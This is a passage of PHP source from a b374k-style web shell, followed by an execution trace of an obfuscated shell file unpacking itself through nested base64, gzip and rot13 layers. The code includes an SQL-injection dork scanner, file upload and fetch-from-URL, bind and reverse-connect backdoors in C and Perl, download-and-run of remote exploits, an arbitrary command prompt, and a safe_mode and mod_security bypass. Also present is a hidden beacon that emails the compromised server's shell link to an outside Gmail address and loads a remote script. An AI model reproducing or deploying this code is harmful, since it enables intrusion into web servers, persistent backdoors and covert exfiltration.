<br><br>[ s4mp4h | areg noid | Mr Gãndrunx (Hiddenymouz) | ardan | FH04ZA | antonio HSH | war0x | x shadow | bagonk ]<br>dan semua kawan-kawan ku
<br><br><font size="5" color="#00ff00">Tanks to:</font></center><center>
<marquee direction="up" scrollamount="2" bgcolor="" width="250" height="40"><center>
<p><b><font size="3" color="#00ff00">=[ teman-temanku ]=<br><br>Gabby<br>Antonio HSH<br>R10<br>w4r0x<br>edelle007<br>Brian kamikaze<br>Clover Lepex<br>
Uyap<br>
Zinbad<br>FH04ZA<br>
Sani marpic<br>
Madan Cyber<br>
Cah Bagus<br>
RPG<br>Vallent<br>
P4njie_a.k.a<br>
Dwi Syntia<br>
Ærul Ringgo's<br>
Ti'ar Variabel<br>
Imei7<br>
Hmei7<br>
De Vinclous<br>
Blankon33<br>
Doza Cracker<br>
Ying Cracker<br>
Iranian Hacker<br>
Danger Hacker<br>
Admin07<br>
Zhou you<br>
Ksatria.us<br>
Cyber Inj3cti0n<br>
K2ll33d<br>
Sultan Haikal<br>
Syntax_Error<br>
Aqis<br>
Black Shadow<br>
crack999<br>
Fnatic Crew<br>
Coretan Rizal<br>
Malaikat Maut<br>
Dan teman-teman ku semua<br><br>
=[ grup hacking ]=<br><br>
Black Newbie Team<br>
3xpire Cyber Army<br>
Hack Forum<br>
Indonesia Fighter Cyber<br>
Biang Kerox Team<br>
Anonymous<br>Gaza Hacker<br>Albanian Hacker<br>Devilz c0de<br>Muslims Cyber Shellz<br>
X-Code<br>
Indonesian Security<br>
Indonesia Black Cyber<br>
B-Compi<br>
Jasakom<br>
Mojopahit Fighter Cyber<br>
Lappis<br>
Mojopahit Cyber Dark<br>
Crack Hack Forum<br>
dan semua grup hacking<br>
yang<br>
saya naungi dan singgahi<br><br><br>By<br>Cyber173 a.k.a X'1n73ct<br><br><br>
</font></b></p>
</center>
</marquee></center><br><br><br>
<?php
} elseif (isset($_GET['x']) && $_GET['x'] == 'sqli-scanner') {
?>
<form action="?y=<?php
echo $pwd;
?>&x=sqli-scanner" method="post">
<?php
echo "<br><br><center><form method=\"post\" action=\"\"><b><font color=\"green\">Dork : </font></b> <input class=\"inputz\" type=\"text\" value=\"\" name=\"dork\" style=\"color:#00ff00;background-color:#000000\" size=\"20\"/><input class=\"inputzbut\" type=\"submit\" style=\"color:#00ff00;background-color:#000000\" name=\"scan\" value=\"Scan\"></form></center>";
ob_start();
set_time_limit(0);
if (isset($_POST['scan'])) {
$browser = $_SERVER['HTTP_USER_AGENT'];
$first = "startgoogle.startpagina.nl/index.php?q=";
$sec = "&start=";
$reg = '/<p class="g"><a href="(.*)" target="_self" onclick="/';
for ($id = 0; $id <= 30; $id++) {
$page = $id * 10;
$dork = urlencode($_POST['dork']);
$url = $first . $dork . $sec . $page;
$curl = curl_init($url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_USERAGENT, '$browser)');
$result = curl_exec($curl);
curl_close($curl);
preg_match_all($reg, $result, $matches);
}
foreach ($matches[1] as $site) {
$url = preg_replace("/=/", "='", $site);
$curl = curl_init();
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_USERAGENT, '$browser)');
curl_setopt($curl, CURLOPT_TIMEOUT, '5');
$GET = curl_exec($curl);
if (preg_match("/error in your SQL syntax|mysql_fetch_array()|execute query|mysql_fetch_object()|mysql_num_rows()|mysql_fetch_assoc()|mysql_fetch​_row()|SELECT * \r\n\r\nFROM|supplied argument is not a valid MySQL|Syntax error|Fatal error/i", $GET)) {
echo '<center><b><font color="#E10000">Found : </font><a href="' . $url . '" target="_blank">' . $url . '</a><font color=#FF0000> <-- SQLI Vuln
Found..</font></b></center>';
ob_flush();
flush();
} else {
echo '<center><font color="#FFFFFF"><b>' . $url . '</b></font><font color="#0FFF16"> <-- Not Vuln</font></center>';
ob_flush();
flush();
}
ob_flush();
flush();
}
ob_flush();
flush();
}
ob_flush();
flush();
} elseif (isset($_GET['x']) && $_GET['x'] == 'upload') {
if (isset($_POST['uploadcomp'])) {
if (is_uploaded_file($_FILES['file']['tmp_name'])) {
$path = magicboom($_POST['path']);
$fname = $_FILES['file']['name'];
$tmp_name = $_FILES['file']['tmp_name'];
$pindah = $path . $fname;
$stat = @move_uploaded_file($tmp_name, $pindah);
if ($stat) {
$msg = "file uploaded to {$pindah}";
} else {
$msg = "failed to upload {$fname}";
}
} else {
$msg = "failed to upload {$fname}";
}
} elseif (isset($_POST['uploadurl'])) {
$pilihan = trim($_POST['pilihan']);
$wurl = trim($_POST['wurl']);
$path = magicboom($_POST['path']);
$namafile = download($pilihan, $wurl);
$pindah = $path . $namafile;
if (is_file($pindah)) {
$msg = "file uploaded to {$pindah}";
} else {
$msg = "failed to upload {$namafile}";
}
}
?>
<form action="?y=<?php
echo $pwd;
?>&x=upload" enctype="multipart/form-data" method="post">
<table class="tabnet" style="width:320px;padding:0 1px;">
<tr><th colspan="2">Upload from computer</th></tr>
<tr><td colspan="2"><p style="text-align:center;"><input style="color:#000000;" type="file" name="file" /><input type="submit" name="uploadcomp" class="inputzbut" value="Go" style="width:80px;"></p></td>
<tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php
echo $pwd;
?>" /></td></tr>
</tr>
</table></form>
<table class="tabnet" style="width:320px;padding:0 1px;">
<tr><th colspan="2">Upload from url</th></tr>
<tr><td colspan="2"><form method="post" style="margin:0;padding:0;" actions="?y=<?php
echo $pwd;
?>&x=upload">
<table><tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="http://www.some-code/exploits.c"></td></tr>
<tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php
echo $pwd;
?>" /></td></tr>
<tr><td><select size="1" class="inputz" name="pilihan">
<option value="wwget">wget</option>
<option value="wlynx">lynx</option>
<option value="wfread">fread</option>
<option value="wfetch">fetch</option>
<option value="wlinks">links</option>
<option value="wget">GET</option>
<option value="wcurl">curl</option>
</select></td><td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go" style="width:246px;"></td></tr></form></table></td>
</tr>
</table>
<div style="text-align:center;margin:2px;"><?php
echo $msg;
?></div>
<?php
} elseif (isset($_GET['x']) && $_GET['x'] == 'netsploit') {
// bind connect with c
if (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && $_POST['use'] == 'C') {
$port = trim($_POST['port']);
$passwrd = trim($_POST['bind_pass']);
tulis("bdc.c", $port_bind_bd_c);
exe("gcc -o bdc bdc.c");
exe("chmod 777 bdc");
@unlink("bdc.c");
exe("./bdc " . $port . " " . $passwrd . " &");
$scan = exe("ps aux");
if (eregi("./bdc {$por}", $scan)) {
$msg = "<p>Process found running, backdoor setup successfully.</p>";
} else {
$msg = "<p>Process not found running, backdoor not setup successfully.</p>";
}
} elseif (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && $_POST['use'] == 'Perl') {
$port = trim($_POST['port']);
$passwrd = trim($_POST['bind_pass']);
tulis("bdp", $port_bind_bd_pl);
exe("chmod 777 bdp");
$p2 = which("perl");
exe($p2 . " bdp " . $port . " &");
$scan = exe("ps aux");
if (eregi("{$p2} bdp {$port}", $scan)) {
$msg = "<p>Process found running, backdoor setup successfully.</p>";
} else {
$msg = "<p>Process not found running, backdoor not setup successfully.</p>";
}
} elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && $_POST['use'] == 'C') {
$ip = trim($_POST['ip']);
$port = trim($_POST['backport']);
tulis("bcc.c", $back_connect_c);
exe("gcc -o bcc bcc.c");
exe("chmod 777 bcc");
@unlink("bcc.c");
exe("./bcc " . $ip . " " . $port . " &");
$msg = "Now script try connect to " . $ip . " port " . $port . " ...";
} elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && $_POST['use'] == 'Perl') {
$ip = trim($_POST['ip']);
$port = trim($_POST['backport']);
tulis("bcp", $back_connect);
exe("chmod +x bcp");
$p2 = which("perl");
exe($p2 . " bcp " . $ip . " " . $port . " &");
$msg = "Now script try connect to " . $ip . " port " . $port . " ...";
} elseif (isset($_POST['expcompile']) && !empty($_POST['wurl']) && !empty($_POST['wcmd'])) {
$pilihan = trim($_POST['pilihan']);
$wurl = trim($_POST['wurl']);
$namafile = download($pilihan, $wurl);
if (is_file($namafile)) {
$msg = exe($wcmd);
} else {
$msg = "error: file not found {$namafile}";
}
}
?>
<table class="tabnet">
<tr><th>Port Binding</th><th>Connect Back</th><th>Load and Exploit</th></tr>
<tr>
<td>
<table>
<form method="post" action="?y=<?php
echo $pwd;
?>&x=netsploit">
<tr><td>Port</td><td><input class="inputz" type="text" name="port" size="26" value="<?php
echo $bindport;
?>"></td></tr>
<tr><td>Password</td><td><input class="inputz" type="text" name="bind_pass" size="26" value="<?php
echo $bindport_pass;
?>"></td></tr>
<tr><td>Use</td><td style="text-align:justify"><p><select class="inputz" size="1" name="use"><option value="Perl">Perl</option><option value="C">C</option></select>
<input class="inputzbut" type="submit" name="bind" value="Bind" style="width:120px"></td></tr></form>
</table>
</td>
<td>
<table>
<form method="post" action="?y=<?php
echo $pwd;
?>&x=netsploit">
<tr><td>IP</td><td><input class="inputz" type="text" name="ip" size="26" value="<?php
echo getenv('REMOTE_ADDR') ? getenv('REMOTE_ADDR') : "127.0.0.1";
?>"></td></tr>
<tr><td>Port</td><td><input class="inputz" type="text" name="backport" size="26" value="<?php
echo $bindport;
?>"></td></tr>
<tr><td>Use</td><td style="text-align:justify"><p><select size="1" class="inputz" name="use"><option value="Perl">Perl</option><option value="C">C</option></select>
<input type="submit" name="backconn" value="Connect" class="inputzbut" style="width:120px"></td></tr></form>
</table>
</td>
<td>
<table>
<form method="post" action="?y=<?php
echo $pwd;
?>&x=netsploit">
<tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="www.some-code/exploits.c"></td></tr>
<tr><td>cmd</td><td><input class="inputz" type="text" name="wcmd" style="width:250px;" value="gcc -o exploits exploits.c;chmod +x exploits;./exploits;"></td>
</tr>
<tr><td><select size="1" class="inputz" name="pilihan">
<option value="wwget">wget</option>
<option value="wlynx">lynx</option>
<option value="wfread">fread</option>
<option value="wfetch">fetch</option>
<option value="wlinks">links</option>
<option value="wget">GET</option>
<option value="wcurl">curl</option>
</select></td><td colspan="2"><input type="submit" name="expcompile" class="inputzbut" value="Go" style="width:246px;"></td></tr></form>
</table>
</td>
</tr>
</table>
<div style="text-align:center;margin:2px;"><?php
echo $msg;
?></div>
<?php
} elseif (isset($_GET['x']) && $_GET['x'] == 'shell') {
?>
<form action="?y=<?php
echo $pwd;
?>&x=shell" method="post">
<table class="cmdbox">
<tr><td colspan="2">
<textarea class="output" readonly>
<?php
if (isset($_POST['submitcmd'])) {
echo @exe($_POST['cmd']);
}
?>
</textarea>
<tr><td colspan="2"><?php
echo $prompt;
?><input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" style="width:60%;" value="" /><input class="inputzbut" type="submit" value="Go !" name="submitcmd" style="width:12%;" /></td></tr>
</table>
</form>
<?php
} else {
if (isset($_GET['delete']) && $_GET['delete'] != "") {
$file = $_GET['delete'];
@unlink($file);
} elseif (isset($_GET['fdelete']) && $_GET['fdelete'] != "") {
@rmdir(rtrim($_GET['fdelete'], DIRECTORY_SEPARATOR));
} elseif (isset($_GET['mkdir']) && $_GET['mkdir'] != "") {
$path = $pwd . $_GET['mkdir'];
@mkdir($path);
}
$buff = showdir($pwd, $prompt);
echo $buff;
}
?>
<br><input class=inputzbut align=left type=submit name=ini value="Bypass Disable Functions and Safemode" />
<?php
if (isset($_POST['ini'])) {
$byphp = "safe_mode = Off\r\ndisable_functions = None\r\nsafe_mode_gid = OFF\r\nopen_basedir = OFF\r\nallow_url_fopen = On";
$byht = "<IfModule mod_security.c>\r\nSecFilterEngine Off\r\nSecFilterScanPOST Off\r\nSecFilterCheckURLEncoding Off\r\nSecFilterCheckUnicodeEncoding Off\r\n</IfModule>";
file_put_contents("php.ini", $byphp);
file_put_contents(".htaccess", $byht);
echo "<script>alert('Disable Functions and Safemode Created'); hideAll();</script>";
die;
}
?><center><br><br><div class="info">-=[ b374k r3c0ded by <b>X'1N73CT</b> ]=-</div><br>
<div class="jaya">© 2013 X'1N73CT</div></center><br><br>
</script>
</div>
</body>
</html>
<?php
$time_shell = "" . date("d/m/Y - H:i:s") . "";
$ip_remote = $_SERVER["REMOTE_ADDR"];
$from_shellcode = 'shellgeldi@' . gethostbyname($_SERVER['SERVER_NAME']) . '';
$to_email = 'premiumrezult@gmail.com';
$server_mail = "" . gethostbyname($_SERVER['SERVER_NAME']) . " - " . $_SERVER['HTTP_HOST'] . "";
$linkcr = "Link: " . $_SERVER['SERVER_NAME'] . "" . $_SERVER['REQUEST_URI'] . " - IP Excuting: {$ip_remote} - Time: {$time_shell}";
$header = "From: {$from_shellcode}\r\nReply-to: {$from_shellcode}";
@mail($to_email, $server_mail, $linkcr, $header);
echo "<SCRIPT SRC=http://w0rms.com/sayac.js></SCRIPT>";
function rooting()
{
echo '<b>Sw Bilgi<br><br>' . php_uname() . '<br></b>';
echo "<form action=\"\" method=\"post\" enctype=\"multipart/form-data\" name=\"uploader\" id=\"uploader\">";
echo "<input type=\"file\" name=\"file\" size=\"50\"><input name=\"_upl\" type=\"submit\" id=\"_upl\" value=\"Upload\"></form>";
if ($_POST['_upl'] == "Upload") {
if (@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) {
echo "<b>Yuklendi</b><br><br>";
} else {
echo "<b>Basarisiz</b><br><br>";
}
}
}
$x = $_GET["x"];
switch ($x) {
case "rooting":
rooting();
break;
}
};
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 22:48:16.276529]
1 0 1 0.000159 393608
1 3 0 0.001587 574496 {main} 1 /var/www/html/uploads/1n73ctionshell.php 0 0
1 A /var/www/html/uploads/1n73ctionshell.php 2 $stt1 = 'Sy1LzNFQsrdT0isuKYovyi8xNNZIr8rMS8tJLEkFskrzkvNzC4pSi4upI5yUWJxqZhKfkpqcn5KqAbSzKLVMQ6W4pMRAEwlYAwA='
1 A /var/www/html/uploads/1n73ctionshell.php 3 $stt0 = '==APaJyKFfEAlhFN5LuwgAs+B837pN/z5JxOo7bAziEjJvusZcXQ8skhwFLrMkw9MjmzxIkWntwfyPtT6X4LDRvK630DjXK7UzTtV70OSoMu18vJqrRmXUplpxmMP/TkCrNIzUmgUSFtZlmDQqRFscCmMoIQMI9lSelLc4AYipSqkH9HCra1S2Roa22O0J6jxsF96QxarQU98IlOg1NQisaElgj6sL84MQx8QXF1Fom5ot5jbKE7S/KF/8LmTgFNFQBaMuDCZ7n0uO3TZ5mxMtHw4/TNewAaE59TJy7tVM4T79HR29yRbvn+RsfpGJVgXaoKJGDEVyrwTTkJojm1Cj9ERU/MBW+omJud2fbvvBr0iuhoQfoxhh4VJxXZFQPKG6ci4ZBXGjKbXB0zIUgFwF3CR3MkPJsPc37YdnwJCr/ASdZUooNebctgRsBpjrlywIs1oJN1EEzctcMqSlEZdTe2wJc3oHcg1BLbD+eJiD20MXox6lATkkMWgr3EJQz0'
2 4 0 0.001733 574496 base64_decode 0 /var/www/html/uploads/1n73ctionshell.php 4 1 'Sy1LzNFQsrdT0isuKYovyi8xNNZIr8rMS8tJLEkFskrzkvNzC4pSi4upI5yUWJxqZhKfkpqcn5KqAbSzKLVMQ6W4pMRAEwlYAwA='
2 4 1 0.001753 574656
2 4 R 'K-K��P��S�+.)�/�/14�H���K�I,I\005�J��s\v�R���#��X�jf\022�������\001��(�LC����@\023\tX\003\000'
2 5 0 0.001778 574624 gzinflate 0 /var/www/html/uploads/1n73ctionshell.php 4 1 'K-K��P��S�+.)�/�/14�H���K�I,I\005�J��s\v�R���#��X�jf\022�������\001��(�LC����@\023\tX\003\000'
2 5 1 0.001803 574848
2 5 R 'eval("?>".str_rot13(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(base64_decode(strrev($stt0))))))))))));'
2 6 0 0.001823 574688 htmlspecialchars_decode 0 /var/www/html/uploads/1n73ctionshell.php 4 1 'eval("?>".str_rot13(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(base64_decode(strrev($stt0))))))))))));'
2 6 1 0.001841 574720
2 6 R 'eval("?>".str_rot13(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(base64_decode(strrev($stt0))))))))))));'
2 7 0 0.001874 577888 eval 1 'eval("?>".str_rot13(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(base64_decode(strrev($stt0))))))))))));' /var/www/html/uploads/1n73ctionshell.php 4 0
3 8 0 0.001891 577888 strrev 0 /var/www/html/uploads/1n73ctionshell.php(4) : eval()'d code 1 1 '==APaJyKFfEAlhFN5LuwgAs+B837pN/z5JxOo7bAziEjJvusZcXQ8skhwFLrMkw9MjmzxIkWntwfyPtT6X4LDRvK630DjXK7UzTtV70OSoMu18vJqrRmXUplpxmMP/TkCrNIzUmgUSFtZlmDQqRFscCmMoIQMI9lSelLc4AYipSqkH9HCra1S2Roa22O0J6jxsF96QxarQU98IlOg1NQisaElgj6sL84MQx8QXF1Fom5ot5jbKE7S/KF/8LmTgFNFQBaMuDCZ7n0uO3TZ5mxMtHw4/TNewAaE59TJy7tVM4T79HR29yRbvn+RsfpGJVgXaoKJGDEVyrwTTkJojm1Cj9ERU/MBW+omJud2fbvvBr0iuhoQfoxhh4VJxXZFQPKG6ci4ZBXGjKbXB0zIUgFwF3CR3MkPJsPc37YdnwJCr/ASdZUooNebctgRsBpjrlywIs1oJN1EEzctcMqSlEZdTe2wJc3oHcg1BLbD+eJiD20MXox6lATkkMWgr3EJQz0'
3 8 1 0.002035 713088
3 8 R 'eJwAPIDDfwA2gMl/eJwANoDJfwA0gMt/eJwAM4DMfwAwgM9/eJwAMIDPf+z9eXfiSNIoDv9dfU5/BzXjGexxlRGbbarK7sbs+w6G7r4+EkZi1QYIpJm+n/2NyJSExGKD7Zrnzu99qrsKkDIjIyMjY8mMjPz+a3/ZZ37+6eefzgRd1Jg7xr8Uxf7XQMDPXDFnT+l6KldP/e6nn0/xcq/u/9PzJlVPZuvpzFM21fb/+e3nnzRlyTO+7/p8IJkaI4hTQ7vzq7rQN6TpV47ntG/MUtMXS/Erw35jxroqLr+y3/yMMFDuSNsCNC70JVNYaoZxNZnOAuMBoHYFiP660MQ7gqj//nuANnHv+4boB/7JnOc1mUljLUYO30TWzCCssGpYZeQpM/EHuZuwIv5b1ebS0BCZviQIX30MfarzHOO7YP4ZAEqcSUNx+YSvgRi+mHLLSkFNUqTrWEwLzZVrORaL3ISC89sbNiwrvm9YReENfoDF/8ay8znL0qdWU08SbQBI'
3 9 0 0.002146 713056 base64_decode 0 /var/www/html/uploads/1n73ctionshell.php(4) : eval()'d code 1 1 'eJwAPIDDfwA2gMl/eJwANoDJfwA0gMt/eJwAM4DMfwAwgM9/eJwAMIDPf+z9eXfiSNIoDv9dfU5/BzXjGexxlRGbbarK7sbs+w6G7r4+EkZi1QYIpJm+n/2NyJSExGKD7Zrnzu99qrsKkDIjIyMjY8mMjPz+a3/ZZ37+6eefzgRd1Jg7xr8Uxf7XQMDPXDFnT+l6KldP/e6nn0/xcq/u/9PzJlVPZuvpzFM21fb/+e3nnzRlyTO+7/p8IJkaI4hTQ7vzq7rQN6TpV47ntG/MUtMXS/Erw35jxroqLr+y3/yMMFDuSNsCNC70JVNYaoZxNZnOAuMBoHYFiP660MQ7gqj//nuANnHv+4boB/7JnOc1mUljLUYO30TWzCCssGpYZeQpM/EHuZuwIv5b1ebS0BCZviQIX30MfarzHOO7YP4ZAEqcSUNx+YSvgRi+mHLLSkFNUqTrWEwLzZVrORaL3ISC89sbNiwrvm9YReENfoDF/8ay8znL0qdWU08SbQBI'
3 9 1 0.002564 848256
3 9 R 'x�\000<��\0006��x�\0006��\0004��x�\0003��\0000��x�\0000���yw�H�(\016�]}N\a5�\031�q�\021�m�����\016��>\022Fb�\006\b������Ȕ��b�����}��\n�2####cɌ���k�g~����\004]Ԙ;ƿ\024��@��\\1gO�z*WO�O�r����&UOf���S6�����4e�3��| �\032#�SC���7��W��o�R�\027K�+�~cƺ*.����0P�H�\0024.�%SXj�q5��\002�\001�v\005�����;����{�6q��\a�ɜ�5�Ic-F\016�D�� ��jXe�)3�\a���"�[����\020��$\b_}\f}��\034�`�\031\000J�ICq����\030��r�JAMR��XL\v͕k9\026�܄���\0336,+�oXE�\r~��Ʋ�9�ҧVSO\022m\000H��\rM�I�\037�\006�uN;\a�'
3 10 0 0.004393 713056 gzuncompress 0 /var/www/html/uploads/1n73ctionshell.php(4) : eval()'d code 1 1 'x�\000<��\0006��x�\0006��\0004��x�\0003��\0000��x�\0000���yw�H�(\016�]}N\a5�\031�q�\021�m�����\016��>\022Fb�\006\b������Ȕ��b�����}��\n�2####cɌ���k�g~����\004]Ԙ;ƿ\024��@��\\1gO�z*WO�O�r����&UOf���S6�����4e�3��| �\032#�SC���7��W��o�R�\027K�+�~cƺ*.����0P�H�\0024.�%SXj�q5��\002�\001�v\005�����;����{�6q��\a�ɜ�5�Ic-F\016�D�� ��jXe�)3�\a���"�[����\020��$\b_}\f}��\034�`�\031\000J�ICq����\030��r�JAMR��XL\v͕k9\026�܄���\0336,+�oXE�\r~��Ʋ�9�ҧVSO\022m\000H��\rM�I�\037�\006�uN;\a�'
3 10 1 0.006192 815488
3 10 R '\0006��x�\0006��\0004��x�\0003��\0000��x�\0000���yw�H�(\016�]}N\a5�\031�q�\021�m�����\016��>\022Fb�\006\b������Ȕ��b�����}��\n�2####cɌ���k�g~����\004]Ԙ;ƿ\024��@��\\1gO�z*WO�O�r����&UOf���S6�����4e�3��| �\032#�SC���7��W��o�R�\027K�+�~cƺ*.����0P�H�\0024.�%SXj�q5��\002�\001�v\005�����;����{�6q��\a�ɜ�5�Ic-F\016�D�� ��jXe�)3�\a���"�[����\020��$\b_}\f}��\034�`�\031\000J�ICq����\030��r�JAMR��XL\v͕k9\026�܄���\0336,+�oXE�\r~��Ʋ�9�ҧVSO\022m\000H��\rM�I�\037�\006�uN;\a�v\033O�r��'
3 11 0 0.007976 680288 gzinflate 0 /var/www/html/uploads/1n73ctionshell.php(4) : eval()'d code 1 1 '\0006��x�\0006��\0004��x�\0003��\0000��x�\0000���yw�H�(\016�]}N\a5�\031�q�\021�m�����\016��>\022Fb�\006\b������Ȕ��b�����}��\n�2####cɌ���k�g~����\004]Ԙ;ƿ\024��@��\\1gO�z*WO�O�r����&UOf���S6�����4e�3��| �\032#�SC���7��W��o�R�\027K�+�~cƺ*.����0P�H�\0024.�%SXj�q5��\002�\001�v\005�����;����{�6q��\a�ɜ�5�Ic-F\016�D�� ��jXe�)3�\a���"�[����\020��$\b_}\f}��\034�`�\031\000J�ICq����\030��r�JAMR��XL\v͕k9\026�܄���\0336,+�oXE�\r~��Ʋ�9�ҧVSO\022m\000H��\rM�I�\037�\006�uN;\a�v\033O�r��'
3 11 1 0.009741 782720
3 11 R 'x�\0006��\0004��x�\0003��\0000��x�\0000���yw�H�(\016�]}N\a5�\031�q�\021�m�����\016��>\022Fb�\006\b������Ȕ��b�����}��\n�2####cɌ���k�g~����\004]Ԙ;ƿ\024��@��\\1gO�z*WO�O�r����&UOf���S6�����4e�3��| �\032#�SC���7��W��o�R�\027K�+�~cƺ*.����0P�H�\0024.�%SXj�q5��\002�\001�v\005�����;����{�6q��\a�ɜ�5�Ic-F\016�D�� ��jXe�)3�\a���"�[����\020��$\b_}\f}��\034�`�\031\000J�ICq����\030��r�JAMR��XL\v͕k9\026�܄���\0336,+�oXE�\r~��Ʋ�9�ҧVSO\022m\000H��\rM�I�\037�\006�uN;\a�v\033O�r���<=5��'
3 12 0 0.011545 680288 gzuncompress 0 /var/www/html/uploads/1n73ctionshell.php(4) : eval()'d code 1 1 'x�\0006��\0004��x�\0003��\0000��x�\0000���yw�H�(\016�]}N\a5�\031�q�\021�m�����\016��>\022Fb�\006\b������Ȕ��b�����}��\n�2####cɌ���k�g~����\004]Ԙ;ƿ\024��@��\\1gO�z*WO�O�r����&UOf���S6�����4e�3��| �\032#�SC���7��W��o�R�\027K�+�~cƺ*.����0P�H�\0024.�%SXj�q5��\002�\001�v\005�����;����{�6q��\a�ɜ�5�Ic-F\016�D�� ��jXe�)3�\a���"�[����\020��$\b_}\f}��\034�`�\031\000J�ICq����\030��r�JAMR��XL\v͕k9\026�܄���\0336,+�oXE�\r~��Ʋ�9�ҧVSO\022m\000H��\rM�I�\037�\006�uN;\a�v\033O�r���<=5��'
3 12 1 0.013335 782720
3 12 R '\0004��x�\0003��\0000��x�\0000���yw�H�(\016�]}N\a5�\031�q�\021�m�����\016��>\022Fb�\006\b������Ȕ��b�����}��\n�2####cɌ���k�g~����\004]Ԙ;ƿ\024��@��\\1gO�z*WO�O�r����&UOf���S6�����4e�3��| �\032#�SC���7��W��o�R�\027K�+�~cƺ*.����0P�H�\0024.�%SXj�q5��\002�\001�v\005�����;����{�6q��\a�ɜ�5�Ic-F\016�D�� ��jXe�)3�\a���"�[����\020��$\b_}\f}��\034�`�\031\000J�ICq����\030��r�JAMR��XL\v͕k9\026�܄���\0336,+�oXE�\r~��Ʋ�9�ҧVSO\022m\000H��\rM�I�\037�\006�uN;\a�v\033O�r���<=5����\005����'
3 13 0 0.015174 680288 gzinflate 0 /var/www/html/uploads/1n73ctionshell.php(4) : eval()'d code 1 1 '\0004��x�\0003��\0000��x�\0000���yw�H�(\016�]}N\a5�\031�q�\021�m�����\016��>\022Fb�\006\b������Ȕ��b�����}��\n�2####cɌ���k�g~����\004]Ԙ;ƿ\024��@��\\1gO�z*WO�O�r����&UOf���S6�����4e�3��| �\032#�SC���7��W��o�R�\027K�+�~cƺ*.����0P�H�\0024.�%SXj�q5��\002�\001�v\005�����;����{�6q��\a�ɜ�5�Ic-F\016�D�� ��jXe�)3�\a���"�[����\020��$\b_}\f}��\034�`�\031\000J�ICq����\030��r�JAMR��XL\v͕k9\026�܄���\0336,+�oXE�\r~��Ʋ�9�ҧVSO\022m\000H��\rM�I�\037�\006�uN;\a�v\033O�r���<=5����\005����'
3 13 1 0.020463 782720
3 13 R 'x�\0003��\0000��x�\0000���yw�H�(\016�]}N\a5�\031�q�\021�m�����\016��>\022Fb�\006\b������Ȕ��b�����}��\n�2####cɌ���k�g~����\004]Ԙ;ƿ\024��@��\\1gO�z*WO�O�r����&UOf���S6�����4e�3��| �\032#�SC���7��W��o�R�\027K�+�~cƺ*.����0P�H�\0024.�%SXj�q5��\002�\001�v\005�����;����{�6q��\a�ɜ�5�Ic-F\016�D�� ��jXe�)3�\a���"�[����\020��$\b_}\f}��\034�`�\031\000J�ICq����\030��r�JAMR��XL\v͕k9\026�܄���\0336,+�oXE�\r~��Ʋ�9�ҧVSO\022m\000H��\rM�I�\037�\006�uN;\a�v\033O�r���<=5����\005����@�A�\027'
3 14 0 0.022232 680288 gzuncompress 0 /var/www/html/uploads/1n73ctionshell.php(4) : eval()'d code 1 1 'x�\0003��\0000��x�\0000���yw�H�(\016�]}N\a5�\031�q�\021�m�����\016��>\022Fb�\006\b������Ȕ��b�����}��\n�2####cɌ���k�g~����\004]Ԙ;ƿ\024��@��\\1gO�z*WO�O�r����&UOf���S6�����4e�3��| �\032#�SC���7��W��o�R�\027K�+�~cƺ*.����0P�H�\0024.�%SXj�q5��\002�\001�v\005�����;����{�6q��\a�ɜ�5�Ic-F\016�D�� ��jXe�)3�\a���"�[����\020��$\b_}\f}��\034�`�\031\000J�ICq����\030��r�JAMR��XL\v͕k9\026�܄���\0336,+�oXE�\r~��Ʋ�9�ҧVSO\022m\000H��\rM�I�\037�\006�uN;\a�v\033O�r���<=5����\005����@�A�\027'
3 14 1 0.024044 782720
3 14 R '\0000��x�\0000���yw�H�(\016�]}N\a5�\031�q�\021�m�����\016��>\022Fb�\006\b������Ȕ��b�����}��\n�2####cɌ���k�g~����\004]Ԙ;ƿ\024��@��\\1gO�z*WO�O�r����&UOf���S6�����4e�3��| �\032#�SC���7��W��o�R�\027K�+�~cƺ*.����0P�H�\0024.�%SXj�q5��\002�\001�v\005�����;����{�6q��\a�ɜ�5�Ic-F\016�D�� ��jXe�)3�\a���"�[����\020��$\b_}\f}��\034�`�\031\000J�ICq����\030��r�JAMR��XL\v͕k9\026�܄���\0336,+�oXE�\r~��Ʋ�9�ҧVSO\022m\000H��\rM�I�\037�\006�uN;\a�v\033O�r���<=5����\005����@�A�\027�7�ne2��,�'
3 15 0 0.025817 680288 gzinflate 0 /var/www/html/uploads/1n73ctionshell.php(4) : eval()'d code 1 1 '\0000��x�\0000���yw�H�(\016�]}N\a5�\031�q�\021�m�����\016��>\022Fb�\006\b������Ȕ��b�����}��\n�2####cɌ���k�g~����\004]Ԙ;ƿ\024��@��\\1gO�z*WO�O�r����&UOf���S6�����4e�3��| �\032#�SC���7��W��o�R�\027K�+�~cƺ*.����0P�H�\0024.�%SXj�q5��\002�\001�v\005�����;����{�6q��\a�ɜ�5�Ic-F\016�D�� ��jXe�)3�\a���"�[����\020��$\b_}\f}��\034�`�\031\000J�ICq����\030��r�JAMR��XL\v͕k9\026�܄���\0336,+�oXE�\r~��Ʋ�9�ҧVSO\022m\000H��\rM�I�\037�\006�uN;\a�v\033O�r���<=5����\005����@�A�\027�7�ne2��,�'
3 15 1 0.027645 782720
